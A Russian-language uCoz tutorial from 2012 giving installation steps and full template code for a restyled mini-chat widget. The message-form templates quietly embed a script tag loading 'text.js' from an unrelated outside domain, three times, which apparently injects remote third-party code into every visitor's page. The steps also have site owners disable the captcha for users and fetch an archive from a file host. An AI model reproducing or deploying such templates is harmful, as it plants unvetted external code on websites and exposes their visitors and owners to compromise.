Воскресенье, 24.09.2017, 04:18


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Чего желаете?
Всего ответов: 84
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2012 » Ноябрь » 7 » Новый, светлый мини-чат как на Zagruzka-Plus для uCoz
22:21
Новый, светлый мини-чат как на Zagruzka-Plus для uCoz
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Полностью рабочий и функциональный чат, почти такой же как и на Zagruzka-Plus
Как-то он уже был выложен в интернете, но в нём была целая гора багов..
Но я решил довести его до хорошего состояния и вот теперь он в паблике)

Описание и изменения функционала чата:

- Аватар рядом с ником
- Ник администратора красный, а остальных чёрный
- Красивая полоса прокрутки (только для Google Chrome)
- Наличие вызова правил чата
- Новая кнопка - Обновить (Вместо звуков)
- Красивая панель bb-кодов и кнопок (отправить, отмена, написать)
- Изменение цвета отдельных слов или всего сообщения
- Ну и конечно красивый, светлый дизайн)

И другие мелочи которые вы сможете увидеть, после установки

Перейдем к установки:

Перед началом установки можете на всякий случай сохранить
"Вид материалов Мини-Чата" И "Форму добавления сообщения"
например в блокноте на рабочем столе

1) Убираем отображение кода безопасности пользователям:
Заходим сюда : http://адрес_вашего_сайта/panel/?a=users;l=groups;t=8
Открываем раздел "Разное"
И в напротив пункта "Не показывать код безопасности" - ставим все галки
Сохраняем

Далее заходим сюда: http://адрес_вашего_сайта/panel/?a=mchat;l=setup
Ищем строчку "Использовать код безопасности для группы "Пользователи":"
И напротив снимаем галочку и потом сохраняем

2) Скачиваем архив (по ссылке http://narod.ru/disk/63333845001.d6ef81b485566f431151d1d48f357726/chatok.rar.html)
Открываем его и переносим папку serv на рабочий стол
Загружаем её в корень сайта (через FTP программу или файловый менеджер)
Путь должен получится такой: http://адрес_вашего_сайта/serv

3) Заходим в ПУ » Управление дизайном » Мини-Чат » Вид материалов
И заменяем всё на этот код:

Code
<?if($NUMBER$=1)?>
<link type="text/css" rel="StyleSheet" href="/serv/chatok/chat.css" />
<style type="text/css">
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;

}
</style>
<?endif?>

<div style="padding:4px;">
<span class="chat-message-block">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td width="40">
<span class="chatAvatar"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$"><?else?><img src="/serv/chatok/noavatar.png"><?endif?></span></td>
<td style="font-size:8pt; color:#666; line-height:14px;">
<div style="float:right; margin-right:5px;">
<span class="chat-button chat-reply tipsy-top" title="Ответить" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('asrea').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$USERNAME$[/b], ';return false;"></span>
</div>
<b>

<?if($USER_ID$='1')?><a style="color:red;" href="$PROFILE_URL$">$USERNAME$</a><?else?><a href="$PROFILE_URL$">$USERNAME$</a><?endif?>

</b><br>
<span class="small">$DATE$ в $TIME$</span>
</td>
</tr>
</tbody>
</table>
<div style="padding:3px 0px 3px 0px;">
$MESSAGE$
</div>
</span>
<div class="hr"></div>
</div>


4) Заходим в ПУ » Управление дизайном » Мини-Чат » Форма добавления сообщения
И заменяем всё на этот код:

Code
<link type="text/css" rel="StyleSheet" href="/serv/chatok/add.css" />
<?if(!$CAN_ADD$)?>
<div class="letg">
<div class="chat-panel" style="">
<a href="$LOGIN_LINK$" style="color:#fff; text-decoration: none;">Вы не авторизованы</a>
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
<?endif?>
<?if($CAN_ADD$)?>
<script>
function valueCheck(){
$('#iChat-write-form').show();
$('.chat-panel').hide();
$('#mchatMsgF').focus();
}
</script>
<div class="letg">
<div class="chat-panel">
<?if($USER_ID$='1')?><?if($MSGCTRL_URI$)?><span class="chat-panel-button button-archive tipsy-top" title="Управление сообщениями" href="$MSGCTRL_URI$" original-title="Управление сообщениями"> </span><?endif?><?else?><span class="chat-panel-button button-archive tipsy-top" onclick="new _uWnd.alert('Данное действие разрешено только <b>Администратору</b>','Управление сообщениями',{w:400,h:60,tm:3500,close:1})" title="Управление сообщениями" href="javascript://" original-title="Управление сообщениями"> </span><?endif?>
<span class="chat-panel-button chat-send-button" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">Написать</span>
<span class="chat-panel-button button-rules tipsy-top" title="Правила" href="javascript://" onclick="new _uWnd('commadd','Правила Мини-Чата',300,200,{align:'left',min:0,shadow:1,header:1,max:0,resize:0},'<b>Запрещено:</b><br><span id=plp>Развязывать разборки (для этого есть ЛС)</span><br><span id=plp> Писать 3-и или более сообщений подряд</span><br><span id=plp>Добавлять спам, рекламу флуд..</span><br><span id=plp>Оскорбление администрации</span><br><span id=plp>Часто писать с вкл. Caps Lock</span>');" original-title="Правила"> </span>
<span class="chat-panel-button button-sound tipsy-top" title="Обновить" onclick="document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();return false;" original-title="Обновить"> </span>
</div>
</div>
<div class="letg">
<textarea id="asrea" onFocus="valueCheck()"></textarea>
<div id="iChat-write-form" style="display:none">
<div class="ichat-editor">
<div class="bbcodes-p">
<span id="b_b" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('b');return false;"><img title="Полужирный" src="/serv/chatok/bold.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('i');return false;"><img title="Курсив" src="/serv/chatok/italic.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('u');return false;"><img title="Подчёркнутый текст" src="/serv/chatok/underline.png" width="16" height="16" border="0" alt=""></span>
<span id="b_s" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('s');return false;"><img title="Зачеркнутый текст" src="/serv/chatok/stroke.png" width="16" height="16" border="0" alt=""></span>
<span id="b_emo" class="editor_button" href="$SMILES_URI$"><img title="Вставка смайликов" src="/serv/chatok/emoticon.png" width="16" height="16" border="0" alt=""></span>
<span id="b_color" class="editor_button" id="kmn" title="Выбрать цвет" onclick="openLayerB('sda',0,'/serv/chatok/zvetaf.xml','Выбор цвета',200,210,'1','','',0,'justify');return false;"><img src="/serv/chatok/colors.png" width="16" height="16" border="0" alt=""></span>
<span id="b_quote" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('quote');return false;"><img title="Вставка цитаты" src="/serv/chatok/quotes.png" width="16" height="16" border="0" alt=""></span>
</div>
</div>
<textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();"></textarea>
<script type="text/javascript" src="/serv/chatok/bbcodes.js"></script>
<div style="border:0px;" class="button-panel" align="center">
<span style="display:none" id="mchatAjax" align="center">
<span class"aer"><img src="/serv/chatok/next_load.gif"></span></span>
<input type="submit" class="zp-button" value="Отправить" id="mchatBtn">
<input type="button" class="zp-button" value="Отмена" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">$IMG_SECURE$$FLD_SECURE$
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
</div>
<input type="hidden" name="numa" id="numa832" value="0">
<input type="hidden" name="a" value="18">
<input type="hidden" id="ajaxFlag" name="ajax" value="1">
<?endif?>


5) Для тех у кого мини-чат сильно узкий..
Если панель добавления сообщения слишком широкая, а нужно меньше,
То в "Форме добавления сообщения" заменить всё на это:

Code
<link type="text/css" rel="StyleSheet" href="/serv/chatok/adds.css" />
<?if(!$CAN_ADD$)?>
<div class="letg">
<div class="chat-panel" style="">
<a href="$LOGIN_LINK$" style="color:#fff; text-decoration: none;">Вы не авторизованы</a>
</div>
</div>
<?endif?>
<?if($CAN_ADD$)?>
<script>
function valueCheck(){
$('#iChat-write-form').show();
$('.chat-panel').hide();
$('#mchatMsgF').focus();
}
</script>
<div class="letg">
<div class="chat-panel">
<?if($USER_ID$='1')?><?if($MSGCTRL_URI$)?><span class="chat-panel-button button-archive tipsy-top" title="Управление сообщениями" href="$MSGCTRL_URI$" original-title="Управление сообщениями"> </span><?endif?><?else?><span class="chat-panel-button button-archive tipsy-top" onclick="new _uWnd.alert('Данное действие разрешено только <b>Администратору</b>','Управление сообщениями',{w:400,h:60,tm:3500,close:1})" title="Управление сообщениями" href="javascript://" original-title="Управление сообщениями"> </span><?endif?>
<span class="chat-panel-button chat-send-button" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">Написать</span>
<span class="chat-panel-button button-rules tipsy-top" title="Правила" href="javascript://" onclick="new _uWnd('commadd','Правила Мини-Чата',300,200,{align:'left',min:0,shadow:1,header:1,max:0,resize:0},'<b>Запрещено:</b><br><span id=plp>Развязывать разборки (для этого есть ЛС)</span><br><span id=plp> Писать 3-и или более сообщений подряд</span><br><span id=plp>Добавлять спам, рекламу флуд..</span><br><span id=plp>Оскорбление администрации</span><br><span id=plp>Часто писать с вкл. Caps Lock</span>');" original-title="Правила"> </span>
<span class="chat-panel-button button-sound tipsy-top" title="Обновить" onclick="document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();return false;" original-title="Обновить"> </span>
</div>
</div>
<div class="letg">
<textarea id="asrea" onFocus="valueCheck()"></textarea>
<div id="iChat-write-form" style="display:none">
<div class="ichat-editor">
<div class="bbcodes-p">
<span id="b_b" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('b');return false;"><img title="Полужирный" src="/serv/chatok/bold.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('i');return false;"><img title="Курсив" src="/serv/chatok/italic.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('u');return false;"><img title="Подчёркнутый текст" src="/serv/chatok/underline.png" width="16" height="16" border="0" alt=""></span>
<span id="b_s" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('s');return false;"><img title="Зачеркнутый текст" src="/serv/chatok/stroke.png" width="16" height="16" border="0" alt=""></span>
<span id="b_emo" class="editor_button" href="$SMILES_URI$"><img title="Вставка смайликов" src="/serv/chatok/emoticon.png" width="16" height="16" border="0" alt=""></span>
<span id="b_color" class="editor_button" id="kmn" title="Выбрать цвет" onclick="openLayerB('sda',0,'/serv/chatok/zvetaf.xml','Выбор цвета',200,210,'1','','',0,'justify');return false;"><img src="/serv/chatok/colors.png" width="16" height="16" border="0" alt=""></span>
<span id="b_quote" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('quote');return false;"><img title="Вставка цитаты" src="/serv/chatok/quotes.png" width="16" height="16" border="0" alt=""></span>
</div>
</div>
<textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();"></textarea>
<script type="text/javascript" src="/serv/chatok/bbcodes.js"></script>
<div style="border:0px;" class="button-panel" align="center">
<span style="display:none" id="mchatAjax" align="center">
<span class"aer"><img src="/serv/chatok/next_load.gif"></span></span>
<input type="submit" class="zp-button" value="Отправить" id="mchatBtn">
<input type="button" class="zp-button" value="Отмена" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">$IMG_SECURE$$FLD_SECURE$
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
</div>
<input type="hidden" name="numa" id="numa832" value="0">
<input type="hidden" name="a" value="18">
<input type="hidden" id="ajaxFlag" name="ajax" value="1">
<?endif?>


Готово, Удачи

Просмотров: 283 | Добавил: startsmart | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Cities XL Platinum 2013 71
  • Чудо ферма \ Virtual farm 86
  • Именем короля 3. Коллекционное издание 87
  • Браузер Maxthon 188
  • Download Master 5.12.1.1283 177
  • Articles – лучшая Wikipedia в кармане 172
  • Улесье. Коллекционное издание 146
  • RIFT – многопользовательская онлайн игра 202
  • Будущее настоящего прошлого_скачать 334
  • Darck Orbit – браузерная игра 193
  • iSendSMS - для отправки SMS и MMS 227
  • Lunascape 6.2 Универсальный браузер 181
  • Редактор Inedita 170
  • Бизнес Пак - бесплатно 270
  • Графический редактор PhotoFiltre 219

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29787
  • FrontPage 2003 Русская версия 11604
  • Игра "Фараон и Клеопатра" скачать бесплатно 6854
  • Mozilla Firefox 8.0.1 - русская версия скачать 4210
  • Новый Супер Марио 4127
  • Игра в Длинные нарды 4050
  • Медитация для привлечения Любви 3755
  • Сборник_Программа настроев Г.Н.Сытина скачать 2895
  • FFrontPage 2007 Русская версия 2816
  • Авто выключение компьютера_WinMend Auto Shutdown 2659
  • Астрон Дизайн - 3D моделирование Вашего дома 2112
  • Спец эффекты с ВебКамерой 2093
  • Штука - игра в карты 1757
  • Программа для быстрого создания Flash-анимации 1519
  • Если хочешь быть счастливым - Литвак Михаил 1498

  • Вид материалов для каталога статей от сайта megafact 298
  • Кнопки вверх и вниз с функцией запоминания позиции 391
  • Steel Battalion Heavy Armor Новая жизнь Kinect 606
  • Часы для сайта 318
  • Скрипт последних комментариев для Ucoz 323
  • Пожертвование на развитие сайта. 256
  • Флэш игра для вашего сайта 260
  • Информер последних комментариев 316
  • Темный мини профиль для Ucoz 583
  • Информер популярных материалов для (uCoz) 312
  • Летающая птичка твиттера 324
  • Бесплатная отправка СМС 348
  • Топ юзеров для Ucoz 475
  • Новый вид комментариев v.1.0 + Модер-панель для uCoz 291
  • Переводчик для сайта (PROMT) 291

  • Мини профиль с временем суток и функциональным меню 256
  • Коте для вашего сайта 256
  • FM радио - отличная музыка в хорошем качестве 256
  • Пожертвование на развитие сайта. 256
  • Кнопка "Вверх" для сайта, блога или форума 256
  • Флэш проигрыватель с большим количеством радиостанций.. 256
  • Последние комментарии ucoz 257
  • Вид комментариев для uCoz v.5 257

  • Медитация для привлечения Любви 3755
  • RIFT – многопользовательская онлайн игра 202
  • Браузерная онлайн игра Deepolis 170
  • Прога для анимации 310
  • Notepad++ текстовый редактор 183
  • Космические стрелялки 6 шт 200
  • Download Master 5.12.1.1283 177


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость